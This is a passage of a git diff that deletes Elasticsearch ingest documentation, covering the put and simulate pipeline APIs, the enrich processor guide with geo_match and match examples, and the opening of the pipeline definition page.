-* <<get-pipeline-api>> to return a specific pipeline
-* <<delete-pipeline-api>> to delete a pipeline
-* <<simulate-pipeline-api>> to simulate a call to a pipeline
-
-
-include::put-pipeline.asciidoc[]
-include::get-pipeline.asciidoc[]
-include::delete-pipeline.asciidoc[]
-include::simulate-pipeline.asciidoc[]
diff --git a/docs/reference/ingest/apis/put-pipeline.asciidoc b/docs/reference/ingest/apis/put-pipeline.asciidoc
deleted file mode 100644
index 32b5dbbc384..00000000000
--- a/docs/reference/ingest/apis/put-pipeline.asciidoc
+++ /dev/null
@@ -1,148 +0,0 @@
-[[put-pipeline-api]]
-=== Put pipeline API
-++++
-<titleabbrev>Put pipeline</titleabbrev>
-++++
-
-Creates or updates an ingest pipeline.
-Changes made using this API take effect immediately.
-
-[source,console]
-----
-PUT _ingest/pipeline/my-pipeline-id
-{
-  "description" : "describe pipeline",
-  "processors" : [
-    {
-      "set" : {
-        "field": "foo",
-        "value": "bar"
-      }
-    }
-  ]
-}
-----
-
-
-[[put-pipeline-api-request]]
-==== {api-request-title}
-
-`PUT /_ingest/pipeline/<pipeline>`
-
-[[put-pipeline-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`manage_pipeline`, `manage_ingest_pipelines`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-
-[[put-pipeline-api-path-params]]
-==== {api-path-parms-title}
-
-`<pipeline>`::
-(Required, string) ID of the ingest pipeline to create or update.
-
-
-[[put-pipeline-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[put-pipeline-api-response-body]]
-==== {api-response-body-title}
-
-`description`::
-(Required, string)
-Description of the ingest pipeline.
-
-`processors`::
-+
---
-(Required, array of <<ingest-processors,processor objects>>)
-Array of processors used to pre-process documents
-before indexing.
-
-Processors are executed in the order provided.
-
-See <<ingest-processors>> for processor object definitions
-and a list of built-in processors.
---
-
-`version`::
-+
---
-(Optional, integer)
-Optional version number used by external systems to manage ingest pipelines.
-
-Versions are not used or validated by {es};
-they are intended for external management only.
---
-
-
-[[put-pipeline-api-example]]
-==== {api-examples-title}
-
-
-[[versioning-pipelines]]
-===== Pipeline versioning
-
-When creating or updating an ingest pipeline,
-you can specify an optional `version` parameter.
-The version is useful for managing changes to pipeline
-and viewing the current pipeline for an ingest node.
-
-The following request sets a version number of `123`
-for `my-pipeline-id`.
-
-[source,console]
---------------------------------------------------
-PUT /_ingest/pipeline/my-pipeline-id
-{
-  "description" : "describe pipeline",
-  "version" : 123,
-  "processors" : [
-    {
-      "set" : {
-        "field": "foo",
-        "value": "bar"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-To unset the version number,
-replace the pipeline without specifying a `version` parameter.
-
-[source,console]
---------------------------------------------------
-PUT /_ingest/pipeline/my-pipeline-id
-{
-  "description" : "describe pipeline",
-  "processors" : [
-    {
-      "set" : {
-        "field": "foo",
-        "value": "bar"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_ingest/pipeline/my-pipeline-id
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-"acknowledged": true
-}
---------------------------------------------------
-////
diff --git a/docs/reference/ingest/apis/simulate-pipeline.asciidoc b/docs/reference/ingest/apis/simulate-pipeline.asciidoc
deleted file mode 100644
index 545eb70063f..00000000000
--- a/docs/reference/ingest/apis/simulate-pipeline.asciidoc
+++ /dev/null
@@ -1,451 +0,0 @@
-
-[[simulate-pipeline-api]]
-=== Simulate pipeline API
-++++
-<titleabbrev>Simulate pipeline</titleabbrev>
-++++
-
-Executes an ingest pipeline against
-a set of provided documents.
-
-////
-[source,console]
-----
-PUT /_ingest/pipeline/my-pipeline-id
-{
-  "description" : "example pipeline to simulate",
-      "processors": [
-      {
-        "set" : {
-          "field" : "field2",
-          "value" : "_value"
-        }
-      }
-    ]
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-POST /_ingest/pipeline/my-pipeline-id/_simulate
-{
-  "docs": [
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "bar"
-      }
-    },
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "rab"
-      }
-    }
-  ]
-}
-----
-
-
-[[simulate-pipeline-api-request]]
-==== {api-request-title}
-
-`POST /_ingest/pipeline/<pipeline>/_simulate`
-
-`GET /_ingest/pipeline/<pipeline>/_simulate`
-
-`POST /_ingest/pipeline/_simulate`
-
-`GET /_ingest/pipeline/_simulate`
-
-[[simulate-pipeline-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`manage_pipeline`, `manage_ingest_pipelines`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[simulate-pipeline-api-desc]]
-==== {api-description-title}
-
-The simulate pipeline API executes a specific pipeline
-against a set of documents provided in the body of the request.
-
-You can either specify an existing pipeline
-to execute against the provided documents
-or supply a pipeline definition in the body of the request.
-
-
-[[simulate-pipeline-api-path-params]]
-==== {api-path-parms-title}
-
-`<pipeline>`::
-(Optional, string)
-Pipeline ID used to simulate an ingest.
-
-
-[[simulate-pipeline-api-query-params]]
-==== {api-query-parms-title}
-
-`verbose`::
-(Optional, Boolean)
-If `true`,
-the response includes output data
-for each processor in the executed pipeline.
-
-
-[[simulate-pipeline-api-request-body]]
-==== {api-request-body-title}
-
-`description`::
-(Optional, string)
-Description of the ingest pipeline.
-
-`processors`::
-+
---
-(Optional, array of <<ingest-processors,processor objects>>)
-Array of processors used to pre-process documents
-during ingest.
-
-Processors are executed in the order provided.
-
-See <<ingest-processors>> for processor object definitions
-and a list of built-in processors.
---
-
-`docs`::
-+
---
-(Required, array)
-Array of documents
-ingested by the pipeline.
-
-Document object parameters include:
-
-`_index`::
-(Optional, string)
-Name of the index containing the document.
-
-`_id`::
-(Optional, string)
-Unique identifier for the document.
-This ID is only unique within the index.
-
-`_source`::
-(Required, object)
-JSON body for the document.
---
-
-
-[[simulate-pipeline-api-example]]
-==== {api-examples-title}
-
-
-[[simulate-pipeline-api-path-parm-ex]]
-===== Specify a pipeline as a path parameter
-
-[source,console]
-----
-POST /_ingest/pipeline/my-pipeline-id/_simulate
-{
-  "docs": [
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "bar"
-      }
-    },
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "rab"
-      }
-    }
-  ]
-}
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-   "docs": [
-      {
-         "doc": {
-            "_id": "id",
-            "_index": "index",
-            "_type": "_doc",
-            "_source": {
-               "field2": "_value",
-               "foo": "bar"
-            },
-            "_ingest": {
-               "timestamp": "2017-05-04T22:30:03.187Z"
-            }
-         }
-      },
-      {
-         "doc": {
-            "_id": "id",
-            "_index": "index",
-            "_type": "_doc",
-            "_source": {
-               "field2": "_value",
-               "foo": "rab"
-            },
-            "_ingest": {
-               "timestamp": "2017-05-04T22:30:03.188Z"
-            }
-         }
-      }
-   ]
-}
-----
-// TESTRESPONSE[s/"2017-05-04T22:30:03.187Z"/$body.docs.0.doc._ingest.timestamp/]
-// TESTRESPONSE[s/"2017-05-04T22:30:03.188Z"/$body.docs.1.doc._ingest.timestamp/]
-
-
-[[simulate-pipeline-api-request-body-ex]]
-===== Specify a pipeline in the request body
-
-[source,console]
-----
-POST /_ingest/pipeline/_simulate
-{
-  "pipeline" :
-  {
-    "description": "_description",
-    "processors": [
-      {
-        "set" : {
-          "field" : "field2",
-          "value" : "_value"
-        }
-      }
-    ]
-  },
-  "docs": [
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "bar"
-      }
-    },
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "rab"
-      }
-    }
-  ]
-}
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-   "docs": [
-      {
-         "doc": {
-            "_id": "id",
-            "_index": "index",
-            "_type": "_doc",
-            "_source": {
-               "field2": "_value",
-               "foo": "bar"
-            },
-            "_ingest": {
-               "timestamp": "2017-05-04T22:30:03.187Z"
-            }
-         }
-      },
-      {
-         "doc": {
-            "_id": "id",
-            "_index": "index",
-            "_type": "_doc",
-            "_source": {
-               "field2": "_value",
-               "foo": "rab"
-            },
-            "_ingest": {
-               "timestamp": "2017-05-04T22:30:03.188Z"
-            }
-         }
-      }
-   ]
-}
-----
-// TESTRESPONSE[s/"2017-05-04T22:30:03.187Z"/$body.docs.0.doc._ingest.timestamp/]
-// TESTRESPONSE[s/"2017-05-04T22:30:03.188Z"/$body.docs.1.doc._ingest.timestamp/]
-
-
-[[ingest-verbose-param]]
-===== View verbose results
-
-You can use the simulate pipeline API
-to see how each processor affects the ingest document
-as it passes through the pipeline.
-To see the intermediate results
-of each processor in the simulate request,
-you can add the `verbose` parameter to the request.
-
-[source,console]
-----
-POST /_ingest/pipeline/_simulate?verbose=true
-{
-  "pipeline" :
-  {
-    "description": "_description",
-    "processors": [
-      {
-        "set" : {
-          "field" : "field2",
-          "value" : "_value2"
-        }
-      },
-      {
-        "set" : {
-          "field" : "field3",
-          "value" : "_value3"
-        }
-      }
-    ]
-  },
-  "docs": [
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "bar"
-      }
-    },
-    {
-      "_index": "index",
-      "_id": "id",
-      "_source": {
-        "foo": "rab"
-      }
-    }
-  ]
-}
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "docs": [
-    {
-      "processor_results": [
-        {
-          "processor_type": "set",
-          "status": "success",
-          "doc": {
-            "_index": "index",
-            "_type": "_doc",
-            "_id": "id",
-            "_source": {
-              "field2": "_value2",
-              "foo": "bar"
-            },
-            "_ingest": {
-              "pipeline": "_simulate_pipeline",
-              "timestamp": "2020-07-30T01:21:24.251836Z"
-            }
-          }
-        },
-        {
-          "processor_type": "set",
-          "status": "success",
-          "doc": {
-            "_index": "index",
-            "_type": "_doc",
-            "_id": "id",
-            "_source": {
-              "field3": "_value3",
-              "field2": "_value2",
-              "foo": "bar"
-            },
-            "_ingest": {
-              "pipeline": "_simulate_pipeline",
-              "timestamp": "2020-07-30T01:21:24.251836Z"
-            }
-          }
-        }
-      ]
-    },
-    {
-      "processor_results": [
-        {
-          "processor_type": "set",
-          "status": "success",
-          "doc": {
-            "_index": "index",
-            "_type": "_doc",
-            "_id": "id",
-            "_source": {
-              "field2": "_value2",
-              "foo": "rab"
-            },
-            "_ingest": {
-              "pipeline": "_simulate_pipeline",
-              "timestamp": "2020-07-30T01:21:24.251863Z"
-            }
-          }
-        },
-        {
-          "processor_type": "set",
-          "status": "success",
-          "doc": {
-            "_index": "index",
-            "_type": "_doc",
-            "_id": "id",
-            "_source": {
-              "field3": "_value3",
-              "field2": "_value2",
-              "foo": "rab"
-            },
-            "_ingest": {
-              "pipeline": "_simulate_pipeline",
-              "timestamp": "2020-07-30T01:21:24.251863Z"
-            }
-          }
-        }
-      ]
-    }
-  ]
-}
-
-----
-// TESTRESPONSE[s/"2020-07-30T01:21:24.251836Z"/$body.docs.0.processor_results.0.doc._ingest.timestamp/]
-// TESTRESPONSE[s/"2020-07-30T01:21:24.251836Z"/$body.docs.0.processor_results.1.doc._ingest.timestamp/]
-// TESTRESPONSE[s/"2020-07-30T01:21:24.251863Z"/$body.docs.1.processor_results.0.doc._ingest.timestamp/]
-// TESTRESPONSE[s/"2020-07-30T01:21:24.251863Z"/$body.docs.1.processor_results.1.doc._ingest.timestamp/]
-
-////
-[source,console]
-----
-DELETE /_ingest/pipeline/*
-----
-
-[source,console-result]
-----
-{
-"acknowledged": true
-}
-----
-////
diff --git a/docs/reference/ingest/enrich.asciidoc b/docs/reference/ingest/enrich.asciidoc
deleted file mode 100644
index 49195ecda7a..00000000000
--- a/docs/reference/ingest/enrich.asciidoc
+++ /dev/null
@@ -1,624 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ingest-enriching-data]]
-== Enrich your data
-
-You can use the <<enrich-processor,enrich processor>> to add data from your
-existing indices to incoming documents during ingest.
-
-For example, you can use the enrich processor to:
-
-* Identify web services or vendors based on known IP addresses
-* Add product information to retail orders based on product IDs
-* Supplement contact information based on an email address
-* Add postal codes based on user coordinates
-
-[discrete]
-[[how-enrich-works]]
-=== How the enrich processor works
-
-An <<ingest,ingest pipeline>> changes documents before they are actually
-indexed. You can think of an ingest pipeline as an assembly line made up of a
-series of workers, called <<ingest-processors,processors>>. Each processor makes
-specific changes, like lowercasing field values, to incoming documents before
-moving on to the next. When all the processors in a pipeline are done, the
-finished document is added to the target index.
-
-image::images/ingest/ingest-process.svg[align="center"]
-
-Most processors are self-contained and only change _existing_ data in incoming
-documents. But the enrich processor adds _new_ data to incoming documents
-and requires a few special components:
-
-image::images/ingest/enrich/enrich-process.svg[align="center"]
-
-[[enrich-policy]]
-enrich policy::
-+
---
-A set of configuration options used to add the right enrich data to the right
-incoming documents.
-
-An enrich policy contains:
-
-// tag::enrich-policy-fields[]
-* A list of one or more _source indices_ which store enrich data as documents
-* The _policy type_ which determines how the processor matches the enrich data
-  to incoming documents
-* A _match field_ from the source indices used to match incoming documents
-* _Enrich fields_ containing enrich data from the source indices you want to add
-  to incoming documents
-// end::enrich-policy-fields[]
-
-Before it can be used with an enrich processor, an enrich policy must be
-<<execute-enrich-policy-api,executed>>. When executed, an enrich policy uses
-enrich data from the policy's source indices to create a streamlined system
-index called the _enrich index_. The processor uses this index to match and
-enrich incoming documents.
-
-See <<enrich-policy-definition>> for a full list of enrich policy types and
-configuration options.
---
-
-[[source-index]]
-source index::
-An index which stores enrich data you'd like to add to incoming documents. You
-can create and manage these indices just like a regular {es} index. You can use
-multiple source indices in an enrich policy. You also can use the same source
-index in multiple enrich policies.
-
-[[enrich-index]]
-enrich index::
-+
---
-A special system index tied to a specific enrich policy.
-
-Directly matching incoming documents to documents in source indices could be
-slow and resource intensive. To speed things up, the enrich processor uses an
-enrich index.
-
-Enrich indices contain enrich data from source indices but have a few special
-properties to help streamline them:
-
-* They are system indices, meaning they're managed internally by {es} and only
-  intended for use with enrich processors.
-* They always begin with `.enrich-*`.
-* They are read-only, meaning you can't directly change them.
-* They are <<indices-forcemerge,force merged>> for fast retrieval.
---
-
-[role="xpack"]
-[testenv="basic"]
-[[enrich-setup]]
-=== Set up an enrich processor
-
-To set up an enrich processor, follow these steps:
-
-. Check the <<enrich-prereqs, prerequisites>>.
-. <<create-enrich-source-index>>.
-. <<create-enrich-policy>>.
-. <<execute-enrich-policy>>.
-. <<add-enrich-processor>>.
-. <<ingest-enrich-docs>>.
-
-Once you have an enrich processor set up,
-you can <<update-enrich-data,update your enrich data>>
-and <<update-enrich-policies, update your enrich policies>>.
-
-[IMPORTANT]
-====
-The enrich processor performs several operations
-and may impact the speed of your <<pipeline,ingest pipeline>>.
-
-We strongly recommend testing and benchmarking your enrich processors
-before deploying them in production.
-
-We do not recommend using the enrich processor to append real-time data.
-The enrich processor works best with reference data
-that doesn't change frequently.
-====
-
-[discrete]
-[[enrich-prereqs]]
-==== Prerequisites
-
-include::{es-repo-dir}/ingest/apis/enrich/put-enrich-policy.asciidoc[tag=enrich-policy-api-prereqs]
-
-[[create-enrich-source-index]]
-==== Add enrich data
-
-To begin, add documents to one or more source indices. These documents should
-contain the enrich data you eventually want to add to incoming documents.
-
-You can manage source indices just like regular {es} indices using the
-<<docs,document>> and <<indices,index>> APIs.
-
-You also can set up {beats-ref}/getting-started.html[{beats}], such as a
-{filebeat-ref}/filebeat-installation-configuration.html[{filebeat}], to
-automatically send and index documents to your source indices. See
-{beats-ref}/getting-started.html[Getting started with {beats}].
-
-[[create-enrich-policy]]
-==== Create an enrich policy
-
-After adding enrich data to your source indices, you can
-<<enrich-policy-definition,define an enrich policy>>. When defining the enrich
-policy, you should include at least the following:
-
-include::enrich.asciidoc[tag=enrich-policy-fields]
-
-You can use this definition to create the enrich policy with the
-<<put-enrich-policy-api,put enrich policy API>>.
-
-[WARNING]
-====
-Once created, you can't update or change an enrich policy.
-See <<update-enrich-policies>>.
-====
-
-[[execute-enrich-policy]]
-==== Execute the enrich policy
-
-Once the enrich policy is created, you can execute it using the
-<<execute-enrich-policy-api,execute enrich policy API>> to create an
-<<enrich-index,enrich index>>.
-
-image::images/ingest/enrich/enrich-policy-index.svg[align="center"]
-
-include::apis/enrich/execute-enrich-policy.asciidoc[tag=execute-enrich-policy-def]
-
-[[add-enrich-processor]]
-==== Add an enrich processor to an ingest pipeline
-
-Once you have source indices, an enrich policy, and the related enrich index in
-place, you can set up an ingest pipeline that includes an enrich processor for
-your policy.
-
-image::images/ingest/enrich/enrich-processor.svg[align="center"]
-
-Define an <<enrich-processor,enrich processor>> and add it to an ingest
-pipeline using the <<put-pipeline-api,put pipeline API>>.
-
-When defining the enrich processor, you must include at least the following:
-
-* The enrich policy to use.
-* The field used to match incoming documents to the documents in your enrich index.
-* The target field to add to incoming documents. This target field contains the
-match and enrich fields specified in your enrich policy.
-
-You also can use the `max_matches` option to set the number of enrich documents
-an incoming document can match. If set to the default of `1`, data is added to
-an incoming document's target field as a JSON object. Otherwise, the data is
-added as an array.
-
-See <<enrich-processor>> for a full list of configuration options.
-
-You also can add other <<ingest-processors,processors>> to your ingest pipeline.
-
-[[ingest-enrich-docs]]
-==== Ingest and enrich documents
-
-You can now use your ingest pipeline to enrich and index documents.
-
-image::images/ingest/enrich/enrich-process.svg[align="center"]
-
-Before implementing the pipeline in production, we recommend indexing a few test
-documents first and verifying enrich data was added correctly using the
-<<docs-get,get API>>.
-
-[[update-enrich-data]]
-==== Update an enrich index
-
-include::{es-repo-dir}/ingest/apis/enrich/execute-enrich-policy.asciidoc[tag=update-enrich-index]
-
-If wanted, you can <<docs-reindex,reindex>>
-or <<docs-update-by-query,update>> any already ingested documents
-using your ingest pipeline.
-
-[[update-enrich-policies]]
-==== Update an enrich policy
-
-// tag::update-enrich-policy[]
-Once created, you can't update or change an enrich policy.
-Instead, you can:
-
-.   Create and <<execute-enrich-policy-api,execute>> a new enrich policy.
-
-.   Replace the previous enrich policy
-    with the new enrich policy
-    in any in-use enrich processors.
-
-.   Use the <<delete-enrich-policy-api, delete enrich policy>> API
-    to delete the previous enrich policy.
-// end::update-enrich-policy[]
-
-[role="xpack"]
-[testenv="basic"]
-[[enrich-policy-definition]]
-=== Enrich policy definition
-
-<<enrich-policy,Enrich policies>> are defined as JSON objects like the
-following:
-
-[source,js]
-----
-{
-  "<enrich_policy_type>": {
-    "indices": [ "..." ],
-    "match_field": "...",
-    "enrich_fields": [ "..." ],
-    "query": {... }
-  }
-}
-----
-// NOTCONSOLE
-
-[[enrich-policy-parms]]
-==== Parameters
-
-`<enrich_policy_type>`::
-+
---
-(Required, enrich policy object)
-The enrich policy type determines how enrich data is matched to incoming
-documents.
-
-Supported enrich policy types include:
-
-<<geo-match-enrich-policy-type,`geo_match`>>:::
-Matches enrich data to incoming documents based on a geographic location using
-a <<query-dsl-geo-shape-query,`geo_shape` query>>. For an example, see
-<<geo-match-enrich-policy-type>>.
-
-<<match-enrich-policy-type,`match`>>:::
-Matches enrich data to incoming documents based on a precise value, such as an
-email address or ID, using a <<query-dsl-term-query,`term` query>>. For an
-example, see <<match-enrich-policy-type>>.
---
-
-`indices`::
-+
---
-(Required, String or array of strings)
-Source indices used to create the enrich index.
-
-If multiple indices are provided, they must share a common `match_field`, which
-the enrich processor can use to match incoming documents.
---
-
-`match_field`::
-(Required, string)
-Field in the source indices used to match incoming documents.
-
-`enrich_fields`::
-(Required, Array of strings)
-Fields to add to matching incoming documents. These fields must be present in
-the source indices.
-
-`query`::
-(Optional, <<query-dsl,Query DSL query object>>)
-Query used to filter documents in the enrich index for matching. Defaults to
-a <<query-dsl-match-all-query,`match_all`>> query.
-
-[role="xpack"]
-[testenv="basic"]
-[[geo-match-enrich-policy-type]]
-=== Example: Enrich your data based on geolocation
-
-`geo_match` <<enrich-policy,enrich policies>> match enrich data to incoming
-documents based on a geographic location, using a
-<<query-dsl-geo-shape-query,`geo_shape` query>>.
-
-The following example creates a `geo_match` enrich policy that adds postal
-codes to incoming documents based on a set of coordinates. It then adds the
-`geo_match` enrich policy to a processor in an ingest pipeline.
-
-Use the <<indices-create-index,create index API>> to create a source index
-containing at least one `geo_shape` field.
-
-[source,console]
-----
-PUT /postal_codes
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_shape"
-      },
-      "postal_code": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-----
-
-Use the <<docs-index_,index API>> to index enrich data to this source index.
-
-[source,console]
-----
-PUT /postal_codes/_doc/1?refresh=wait_for
-{
-  "location": {
-    "type": "envelope",
-    "coordinates": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]
-  },
-  "postal_code": "96598"
-}
-----
-// TEST[continued]
-
-Use the <<put-enrich-policy-api,put enrich policy API>> to create an enrich
-policy with the `geo_match` policy type. This policy must include:
-
-* One or more source indices
-* A `match_field`,
-  the `geo_shape` field from the source indices used to match incoming documents
-* Enrich fields from the source indices you'd like to append to incoming
-  documents
-
-[source,console]
-----
-PUT /_enrich/policy/postal_policy
-{
-  "geo_match": {
-    "indices": "postal_codes",
-    "match_field": "location",
-    "enrich_fields": [ "location", "postal_code" ]
-  }
-}
-----
-// TEST[continued]
-
-Use the <<execute-enrich-policy-api,execute enrich policy API>> to create an
-enrich index for the policy.
-
-[source,console]
-----
-POST /_enrich/policy/postal_policy/_execute
-----
-// TEST[continued]
-
-Use the <<put-pipeline-api,put pipeline API>> to create an ingest pipeline. In
-the pipeline, add an <<enrich-processor,enrich processor>> that includes:
-
-* Your enrich policy.
-* The `field` of incoming documents used to match the geo_shape of documents
-  from the enrich index.
-* The `target_field` used to store appended enrich data for incoming documents.
-  This field contains the `match_field` and `enrich_fields` specified in your
-  enrich policy.
-* The `shape_relation`, which indicates how the processor matches geo_shapes in
-  incoming documents to geo_shapes in documents from the enrich index. See
-  <<_spatial_relations>> for valid options and more information.
-
-[source,console]
-----
-PUT /_ingest/pipeline/postal_lookup
-{
-  "description": "Enrich postal codes",
-  "processors": [
-    {
-      "enrich": {
-        "policy_name": "postal_policy",
-        "field": "geo_location",
-        "target_field": "geo_data",
-        "shape_relation": "INTERSECTS"
-      }
-    }
-  ]
-}
-----
-// TEST[continued]
-
-Use the ingest pipeline to index a document. The incoming document should
-include the `field` specified in your enrich processor.
-
-[source,console]
-----
-PUT /users/_doc/0?pipeline=postal_lookup
-{
-  "first_name": "Mardy",
-  "last_name": "Brown",
-  "geo_location": "POINT (13.5 52.5)"
-}
-----
-// TEST[continued]
-
-To verify the enrich processor matched and appended the appropriate field data,
-use the <<docs-get,get API>> to view the indexed document.
-
-[source,console]
-----
-GET /users/_doc/0
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "found": true,
-  "_index": "users",
-  "_type": "_doc",
-  "_id": "0",
-  "_version": 1,
-  "_seq_no": 55,
-  "_primary_term": 1,
-  "_source": {
-    "geo_data": {
-      "location": {
-        "type": "envelope",
-        "coordinates": [[13.0, 53.0], [14.0, 52.0]]
-      },
-      "postal_code": "96598"
-    },
-    "first_name": "Mardy",
-    "last_name": "Brown",
-    "geo_location": "POINT (13.5 52.5)"
-  }
-}
-----
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/]
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_ingest/pipeline/postal_lookup
-DELETE /_enrich/policy/postal_policy
---------------------------------------------------
-// TEST[continued]
-////
-
-[role="xpack"]
-[testenv="basic"]
-[[match-enrich-policy-type]]
-=== Example: Enrich your data based on exact values
-
-`match` <<enrich-policy,enrich policies>> match enrich data to incoming
-documents based on an exact value, such as a email address or ID, using a
-<<query-dsl-term-query,`term` query>>.
-
-The following example creates a `match` enrich policy that adds user name and
-contact information to incoming documents based on an email address. It then
-adds the `match` enrich policy to a processor in an ingest pipeline.
-
-Use the <<indices-create-index, create index API>> or <<docs-index_,index
-API>> to create a source index.
-
-The following index API request creates a source index and indexes a
-new document to that index.
-
-[source,console]
-----
-PUT /users/_doc/1?refresh=wait_for
-{
-  "email": "mardy.brown@asciidocsmith.com",
-  "first_name": "Mardy",
-  "last_name": "Brown",
-  "city": "New Orleans",
-  "county": "Orleans",
-  "state": "LA",
-  "zip": 70116,
-  "web": "mardy.asciidocsmith.com"
-}
-----
-
-Use the put enrich policy API to create an enrich policy with the `match`
-policy type. This policy must include:
-
-* One or more source indices
-* A `match_field`,
-  the field from the source indices used to match incoming documents
-* Enrich fields from the source indices you'd like to append to incoming
-  documents
-
-[source,console]
-----
-PUT /_enrich/policy/users-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": ["first_name", "last_name", "city", "zip", "state"]
-  }
-}
-----
-// TEST[continued]
-
-Use the <<execute-enrich-policy-api,execute enrich policy API>> to create an
-enrich index for the policy.
-
-[source,console]
-----
-POST /_enrich/policy/users-policy/_execute
-----
-// TEST[continued]
-
-
-Use the <<put-pipeline-api,put pipeline API>> to create an ingest pipeline. In
-the pipeline, add an <<enrich-processor,enrich processor>> that includes:
-
-* Your enrich policy.
-* The `field` of incoming documents used to match documents
-  from the enrich index.
-* The `target_field` used to store appended enrich data for incoming documents.
-  This field contains the `match_field` and `enrich_fields` specified in your
-  enrich policy.
-
-[source,console]
-----
-PUT /_ingest/pipeline/user_lookup
-{
-  "description" : "Enriching user details to messages",
-  "processors" : [
-    {
-      "enrich" : {
-        "policy_name": "users-policy",
-        "field" : "email",
-        "target_field": "user",
-        "max_matches": "1"
-      }
-    }
-  ]
-}
-----
-// TEST[continued]
-
-Use the ingest pipeline to index a document. The incoming document should
-include the `field` specified in your enrich processor.
-
-[source,console]
-----
-PUT /my-index-00001/_doc/my_id?pipeline=user_lookup
-{
-  "email": "mardy.brown@asciidocsmith.com"
-}
-----
-// TEST[continued]
-
-To verify the enrich processor matched and appended the appropriate field data,
-use the <<docs-get,get API>> to view the indexed document.
-
-[source,console]
-----
-GET /my-index-00001/_doc/my_id
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "found": true,
-  "_index": "my-index-00001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 55,
-  "_primary_term": 1,
-  "_source": {
-    "user": {
-      "email": "mardy.brown@asciidocsmith.com",
-      "first_name": "Mardy",
-      "last_name": "Brown",
-      "zip": 70116,
-      "city": "New Orleans",
-      "state": "LA"
-    },
-    "email": "mardy.brown@asciidocsmith.com"
-  }
-}
-----
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/]
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_ingest/pipeline/user_lookup
-DELETE /_enrich/policy/users-policy
---------------------------------------------------
-// TEST[continued]
-////
diff --git a/docs/reference/ingest/ingest-node.asciidoc b/docs/reference/ingest/ingest-node.asciidoc
deleted file mode 100644
index bbaed48b21e..00000000000
--- a/docs/reference/ingest/ingest-node.asciidoc
+++ /dev/null
@@ -1,908 +0,0 @@
-[[pipeline]]
-== Pipeline Definition
-
-A pipeline is a definition of  a series of <<ingest-processors, processors>> that are to be executed
-in the same order as they are declared. A pipeline consists of two main fields: a `description`
-and a list of `processors`:
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "...",
-  "processors" : [ ... ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The `description` is a special field to store a helpful description of
-what the pipeline does.
-
-The `processors` parameter defines a list of processors to be executed in
-order.
-
-[[accessing-data-in-pipelines]]
-== Accessing Data in Pipelines
-
-The processors in a pipeline have read and write access to documents that pass through the pipeline.
-The processors can access fields in the source of a document and the document's metadata fields.
-
-[discrete]
-[[accessing-source-fields]]
-=== Accessing Fields in the Source
-Accessing a field in the source is straightforward. You simply refer to fields by
-their name. For example:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "my_field",
-    "value": 582.1
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-On top of this, fields from the source are always accessible via the `_source` prefix:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "_source.my_field",
-    "value": 582.1
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[discrete]
-[[accessing-metadata-fields]]
-=== Accessing Metadata Fields
-You can access metadata fields in the same way that you access fields in the source. This
-is possible because Elasticsearch doesn't allow fields in the source that have the
-same name as metadata fields.
-
-The following metadata fields are accessible by a processor:
-
-* `_index`
-* `_type`
-* `_id`
-* `_routing`
-
-The following example sets the `_id` metadata field of a document to `1`:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "_id",
-    "value": "1"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-You can access a metadata field's value by surrounding it in double
-curly brackets `"{{ }}"`. For example, `{{_index}}` retrieves the name of a
-document's index.
-
-WARNING: If you <<create-document-ids-automatically,automatically generate>>
-document IDs, you cannot use the `{{_id}}` value in an ingest processor. {es}
-assigns auto-generated `_id` values after ingest.
-
-[discrete]
-[[accessing-ingest-metadata]]
-=== Accessing Ingest Metadata Fields
-Beyond metadata fields and source fields, ingest also adds ingest metadata to the documents that it processes.
-These metadata properties are accessible under the `_ingest` key. Currently ingest adds the ingest timestamp
-under the `_ingest.timestamp` key of the ingest metadata. The ingest timestamp is the time when Elasticsearch
-received the index or bulk request to pre-process the document.
-
-Any processor can add ingest-related metadata during document processing. Ingest metadata is transient
